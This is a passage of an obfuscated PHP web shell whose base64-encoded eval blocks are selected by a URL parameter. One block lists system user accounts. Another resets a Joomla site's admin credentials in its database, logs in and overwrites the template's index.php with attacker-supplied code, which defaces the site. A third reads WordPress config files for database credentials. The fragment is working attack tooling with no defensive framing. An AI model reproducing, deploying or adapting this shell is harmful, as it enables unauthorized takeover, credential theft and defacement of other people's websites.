2hvICRkaXIgPz4NCjwvZGl2Pg0KPC9kaXY+DQo8L2JvZHk+DQo8L2h0bWw+'));
  371. exit;
  372. }
  373. elseif(isset($_GET['x']) && $_GET['x'] == 'passwd'){
  374. eval (base64_decode('ZWNobyAnPGNlbnRlcj48dGV4dGFyZWEgbWV0aG9kPVwnUE9TVFwnICByb3dzPTIwIGNvbHM9MTAwIHdyYXA9b2ZmPic7DQplcnJvcl9yZXBvcnRpbmcoMCk7DQogaWYgKCRfR0VUWydwYXNzd2QnXSApDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJHVpZD0wOyR1aWQ8NjAwMDA7JHVpZCsrKXsgICAvL2NhdCAvZXRjL3Bhc3N3ZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhcmEgPSBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJGFyYSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKGxpc3QgKCRrZXksICR2YWwpID0gZWFjaCgkYXJhKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIiR2YWw6IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGV4dGFyZWE+IjsNCg=='));
  375. exit;
  376. }
  377. elseif(isset($_GET['x']) && $_GET['x'] == 'jominch'){
  378. eval(base64_decode('aWYgKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSkNCnsNCg0KJGg9Ijw/IGVjaG8oc3RyaXBzbGFzaGVzKGJhc2U2NF9kZWNvZGUoJyIudXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoc3RyX3JlcGxhY2UoIiciLCInIiwoJF9QT1NUWydjb2RlJ10pKSkpLiInKSkpOyBleGl0OyA/PiI7DQoNCiAkZGJwcmVmaXg9KCRfUE9TVFsnZGJfcHJlZml4J10pOw0KICR1c2VybmFtZT0oJF9QT1NUWydkYl91c2VybmFtZSddKTsNCiAkcGFzc3dvcmQ9KCRfUE9TVFsnZGJfcGFzc3dvcmQnXSk7DQogJGRibmFtZT0oJF9QT1NUWydkYl9uYW1lJ10pOw0KICAkc2l0ZV91cmw9KCRfUE9TVFsnc2l0ZV91cmwnXSk7DQoNCiRjbz1yYW5kb210KCk7DQoNCg0KDQogICAgICAkbGluaz1teXNxbF9jb25uZWN0KCJsb2NhbGhvc3QiLCR1c2VybmFtZSwkcGFzc3dvcmQpIDsNCg0KICAgICAgICAgbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsJGxpbmspIDsNCg0KJHRyeUNoYW5pbmdJbmZvID0gbXlzcWxfcXVlcnkoIlVQREFURSAiLiRkYnByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lID0nYWRtaW4nICwgcGFzc3dvcmQgPSAnMmE5MzM2Zjc2NjZmOWY0NzRiN2E4ZjY3YjQ4ZGU1Mjc6RGlXcVJCUjF0aFRRYTJTdkJzRHFzVUVOcktPbVp0QVgnIik7DQplY2hvKCI8YnI+WytdIENoYW5naW5nIGFkbWluIHBhc3N3b3JkIHRvIDEyMzQ1Njc4OSIpOwkNCgkJIA0KCQkgJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRkYnByZWZpeC4iZXh0ZW5zaW9uc2AgIik7DQoJCSANCmlmICggJHJlcSApDQp7DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAgICAgICAgVjEuNiAgICAgICAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCgkJDQokcmVxID1teXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJGRicHJlZml4LiJ0ZW1wbGF0ZV9zdHlsZXNgIFdIRVJFIGNsaWVudF9pZD0nMCcgYW5kIGhvbWU9JzEnIik7DQoJICRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQokdGVtcGxhdGVfbmFtZT0kZGF0YVsidGVtcGxhdGUiXTsNCg0KJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRkYnByZWZpeC4iZXh0ZW5zaW9uc2AgV0hFUkUgbmFtZT0nIi4kdGVtcGxhdGVfbmFtZS4iJyIpOw0KCSAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX2lkPSRkYXRhWyJleHRlbnNpb25faWQiXTsNCg0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsNCg0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCg0KDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRyZXR1cm49ZW50cmUydjIoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJldHVybiIgdmFsdWU9IicsJyInKTsNCiRoaWRkZW49ZW50cmUydjIoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IicsJyIgdmFsdWU9IjEiJyw0KTsNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHAiOw0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywidXNlcm5hbWU9YWRtaW4mcGFzc3dkPTEyMzQ1Njc4OSZvcHRpb249Y29tX2xvZ2luJnRhc2s9bG9naW4mcmV0dXJuPSIuJHJldHVybi4iJiIuJGhpZGRlbi4iPTEiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCJjb21fY29uZmlnIik7DQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBMb2dpbiBFcnJvciIpOw0KZXhpdDsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlt+XSBMb2dpbiBTdWNjZXNzZnVsIik7DQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZ0YXNrPXNvdXJjZS5lZGl0JmlkPSIuYmFzZTY0X2VuY29kZSgkdGVtcGxhdGVfaWQuIjppbmRleC5waHAiKTsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuMj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDIpOw0KaWYoJGhpZGRlbjIpIHsNCmVjaG8oIjxicj5bK10gaW5kZXgucGhwIGZpbGUgZm91bmRlZCBpbiBUaGVtZSBFZGl0b3IiKTsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlstXSBpbmRleC5waHAgTm90IGZvdW5kIGluIFRoZW1lIEVkaXRvciIpOw0KZXhpdDsNCn0NCmVjaG8oIjxicj5bKl0gVXBkYXRpbmcgSW5kZXgucGhwIC4uLi4uIik7DQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmbGF5b3V0PWVkaXQiOw0KDQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJqZm9ybVtzb3VyY2VdPSIuJGguIiZqZm9ybVtmaWxlbmFtZV09aW5kZXgucGhwJmpmb3JtW2V4dGVuc2lvbl9pZF09Ii4kdGVtcGxhdGVfaWQuIiYiLiRoaWRkZW4yLiI9MSZ0YXNrPXNvdXJjZS5zYXZlIik7DQoNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCc8ZGQgY2xhc3M9Im1lc3NhZ2UgbWVzc2FnZSI+Jyk7DQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBVcGRhdGluZyBJbmRleC5waHAgRXJyb3IiKTsNCmV4aXQ7DQp9DQplbHNlIHsNCmVjaG8oIjxicj5bfl0gaW5kZXgucGhwIHN1Y2Nlc3NmdWxseSBzYXZlZCIpOw0KfQ0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICBWMS42ICBFTkQgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQoNCn0NCmVsc2UNCnsNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICBWMS41ICAgICAgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KCQkgDQokcmVxID1teXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJGRicHJlZml4LiJ0ZW1wbGF0ZXNfbWVudWAgV0hFUkUgY2xpZW50X2lkPScwJyIpOw0KCSAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX25hbWU9JGRhdGFbInRlbXBsYXRlIl07DQoNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuPWVudHJlMnYyKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsMyk7DQoNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJ1c2VybmFtZT1hZG1pbiZwYXNzd2Q9MTIzNDU2Nzg5Jm9wdGlvbj1jb21fbG9naW4mdGFzaz1sb2dpbiYiLiRoaWRkZW4uIj0xIik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwiY29tX2NvbmZpZyIpOw0KDQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBMb2dpbiBFcnJvciIpOw0KZXhpdDsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlsrXSBMb2dpbiBTdWNjZXNzZnVsIik7DQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZ0YXNrPWVkaXRfc291cmNlJmNsaWVudD0wJmlkPSIuJHRlbXBsYXRlX25hbWU7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuMj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDYpOw0KDQppZigkaGlkZGVuMikgew0KZWNobygiPGJyPlt+XSBpbmRleC5waHAgZmlsZSBmb3VuZGVkIGluIFRoZW1lIEVkaXRvciIpOw0KfQ0KZWxzZSB7DQplY2hvKCI8YnI+Wy1dIGluZGV4LnBocCBOb3QgZm91bmQgaW4gVGhlbWUgRWRpdG9yIik7DQp9DQoNCmVjaG8oIjxicj5bKl0gVXBkYXRpbmcgSW5kZXgucGhwIC4uLi4uIik7DQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmbGF5b3V0PWVkaXQiOw0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywiZmlsZWNvbnRlbnQ9Ii4kaC4iJmlkPSIuJHRlbXBsYXRlX25hbWUuIiZjaWRbXT0iLiR0ZW1wbGF0ZV9uYW1lLiImIi4kaGlkZGVuMi4iPTEmdGFzaz1zYXZlX3NvdXJjZSZjbGllbnQ9MCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRkIGNsYXNzPSJtZXNzYWdlIG1lc3NhZ2UgZmFkZSI+Jyk7DQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBVcGRhdGluZyBJbmRleC5waHAgRXJyb3IiKTsNCmV4aXQ7DQp9DQplbHNlIHsNCmVjaG8oIjxicj5bfl0gaW5kZXgucGhwIHN1Y2Nlc3NmdWxseSBzYXZlZCIpOw0KfQ0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICBWMS41ICBFTkQgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQp9DQoNCn0NCg0KDQpmdW5jdGlvbiByYW5kb210KCkgeyANCg0KICAgICRjaGFycyA9ICJhYmNkZWZnaGlqa21ub3BxcnN0dXZ3eHl6MDIzNDU2Nzg5IjsgDQogICAgc3JhbmQoKGRvdWJsZSltaWNyb3RpbWUoKSoxMDAwMDAwKTsgDQogICAgJGkgPSAwOyANCiAgICAkcGFzcyA9ICcnIDsgDQoNCiAgICB3aGlsZSAoJGkgPD0gNykgeyANCiAgICAgICAgJG51bSA9IHJhbmQoKSAlIDMzOyANCiAgICAgICAgJHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOyANCiAgICAgICAgJHBhc3MgPSAkcGFzcyAuICR0bXA7IA0KICAgICAgICAkaSsrOyANCiAgICB9IA0KDQogICAgcmV0dXJuICRwYXNzOyANCg0KfQ0KDQpmdW5jdGlvbiBlbnRyZTJ2MigkdGV4dCwkbWFycXVldXJEZWJ1dExpZW4sJG1hcnF1ZXVyRmluTGllbiwkaT0xKQ0KDQp7DQoNCiRhcjA9ZXhwbG9kZSgkbWFycXVldXJEZWJ1dExpZW4sICR0ZXh0KTsNCiRhcjE9ZXhwbG9kZSgkbWFycXVldXJGaW5MaWVuLCAkYXIwWyRpXSk7DQokYXI9dHJpbSgkYXIxWzBdKTsNCnJldHVybiAkYXI7DQp9DQplY2hvICINClxuIjsgIA0KZWNobyAiIDxzdHlsZT4NClxuIjsgDQplY2hvICINClxuIjsgDQplY2hvICJCT0RZIHsgU0NST0xMQkFSLUJBU0UtQ09MT1I6ICMxOTE5MTk7IFNDUk9MTEJBUi1BUlJPVy1DT0xPUjogb2xpdmU7ICAgY29sb3I6IHdoaXRlO30NClxuIjsgDQplY2hvICJ0ZXh0YXJlYXtiYWNrZ3JvdW5kLWNvbG9yOiMxOTE5MTk7Y29sb3I6cmVkO2ZvbnQtd2VpZ2h0OmJvbGQ7Zm9udC1zaXplOiAxMnB4O2ZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICMwZThhMjc7fQ0KXG4iOyANCmVjaG8gImlucHV0e0ZPTlQtV0VJR0hUOm5vcm1hbDtiYWNrZ3JvdW5kLWNvbG9yOiAjMTkxOTE5O2ZvbnQtc2l6ZTogMTNweDtmb250LXdlaWdodDpib2xkO2NvbG9yOiByZWQ7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICMwZThhMjc7aGVpZ2h0OjE3fQ0KXG4iOyANCmVjaG8gIjwvc3R5bGU+DQpcbiI7IA0KZWNobyAiPGNlbnRlcj4NClxuIjsgDQplY2hvICI8Y2VudGVyPjxjZW50ZXI+PGgxIGNsYXNzPSdrMmxsMzNkMic+Sm9vTWxhIElORGVYIENoYU5nZVI8L2gxPg0KXG4iOw0KZWNobyAiPGNlbnRlcj4gPGZvbnQgY29sb3I9XCIjMGU4YTI3XCIgc2l6ZT0nKzEnPiBYIE1pUmlDYWwgVmlSdXN4PC9mb250Pjxicj4gPGNlbnRlcj4NClxuIjsgIA0KZWNobyAiPEZPUk0gYWN0aW9uPVwiXCIgIG1ldGhvZD1cInBvc3RcIj4NClxuIjsgDQplY2hvICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmb3JtX2FjdGlvblwiIHZhbHVlPVwiMlwiPg0KXG4iOyANCmVjaG8gIjx0YWJsZSBib3JkZXI9MSBib3JkZXJjb2xvcj0jMGU4YTI3Pg0KXG4iOyANCmVjaG8gIg0KXG4iOyANCmVjaG8gIjx0cj48dGQ+ZGJfcHJlZml4IDwvdGQ+PHRkPjxpbnB1dCBvbm1vdXNlb3Zlcj1cInRoaXMuZm9jdXMoKTtcIiBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjMwXCIgbmFtZT1cImRiX3ByZWZpeFwiIHZhbHVlPVwiam9zX1wiPjwvdGQ+PC90cj4NClxuIjsgDQplY2hvICI8dHI+PHRkPmRiX3VzZXJuYW1lIDwvdGQ+PHRkPjxpbnB1dCBvbm1vdXNlb3Zlcj1cInRoaXMuZm9jdXMoKTtcIiBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjMwXCIgbmFtZT1cImRiX3VzZXJuYW1lXCIgdmFsdWU9XCJcIj48L3RkPjwvdHI+DQpcbiI7IA0KZWNobyAiPHRyPjx0ZD5kYl9wYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBvbm1vdXNlb3Zlcj1cInRoaXMuZm9jdXMoKTtcIiBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjMwXCIgbmFtZT1cImRiX3Bhc3N3b3JkXCIgdmFsdWU9XCJcIj48L3RkPjwvdHI+DQpcbiI7IA0KZWNobyAiPHRyPjx0ZD5kYl9uYW1lPC90ZD48dGQ+PGlucHV0IG9ubW91c2VvdmVyPVwidGhpcy5mb2N1cygpO1wiIGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBzaXplPVwiMzBcIiBuYW1lPVwiZGJfbmFtZVwiIHZhbHVlPVwiXCI+PC90ZD48L3RyPg0KXG4iOyANCmVjaG8gIjx0cj48dGQ+QWRtaW4gQ29udHJvbCBwYW5lbCB1cmw8L3RkPjx0ZD48aW5wdXQgb25tb3VzZW92ZXI9XCJ0aGlzLmZvY3VzKCk7XCIgY2xhc3M9XCJpbnB1dHpcIiAgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiBuYW1lPVwic2l0ZV91cmxcIiB2YWx1ZT1cImh0dHA6Ly9zaXRlLmNvbS9hZG1pbmlzdHJhdG9yL1wiPjwvdGQ+PC90cj4NClxuIjsgDQplY2hvICI8L3RhYmxlPg0KXG4iOyANCmVjaG8gIjxmb250IGNvbG9yPVwiIzBlOGEyN1wiIHNpemU9JysxJz5Zb3VyIEluZGV4IENvZGUgPGJyPg0KXG4iOyANCmVjaG8gIjxURVhUQVJFQSByb3dzPVwiMTNcIiAgY29scz1cIjEwOVwiIG5hbWU9XCJjb2RlXCI+PC9URVhUQVJFQT4NClxuIjsgDQplY2hvICI8Y2VudGVyPjxJTlBVVCBjbGFzcz1zdWJtaXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiU3VibWl0XCIgbmFtZT1cIlN1Ym1pdFwiPg0KXG4iOyANCmVjaG8gIjwvRk9STT4NClxuIjsgDQplY2hvICIgDQpcbiI7'));
  379. exit;
  380. }
  381. elseif(isset($_GET['x']) && $_GET['x'] == 'wpinch'){
  382. eval (base64_decode('aWYoJF9QT1NUWydmb3JtX2FjdGlvbiddID09IDEgKQ0KIHsNCg0KJHRleHQ9ZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydmaWxlJ10pOw0KDQoJDQoJJHVzZXJuYW1lPWVudHJlMnYyKCR0ZXh0LCJkZWZpbmUoJ0RCX1VTRVInLCAnIiwiJyk7Iik7DQokcGFzc3dvcmQ9ZW50cmUydjIoJHRleHQsImRlZmluZSgnREJfUEFTU1dPUkQnLCAnIiwiJyk7Iik7DQokZGJuYW1lPWVudHJlMnYyKCR0ZXh0LCJkZWZpbmUoJ0RCX05BTUUnLCAnIiwiJyk7Iik7DQokcHJlZml4PWVudHJlMnYyKCR0ZXh0LCIkdGFibGVfcHJlZml4ICA9ICciLCInIik7DQp9DQoNCiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMiApDQogew0KICRwcmVmaXg9KCRfUE9TVFsnZGJfcHJlZml4J10pOw0KICR1c2VybmFtZT0oJF9QT1NUWydkYl91c2VybmFtZSddKTsNCiAkcGFzc3dvcmQ9KCRfUE9TVFsnZGJfcGFzc3dvcmQnXSk7DQogJGRibmFtZT0oJF9QT1NUWydkYl9uYW1lJ10pOw0KIA0KDQoJDQoNCn0NCi8qDQplY2hvKCR1c2VybmFtZSk7DQplY2hvKCI8YnI+Iik7DQplY2hvKCRwYXN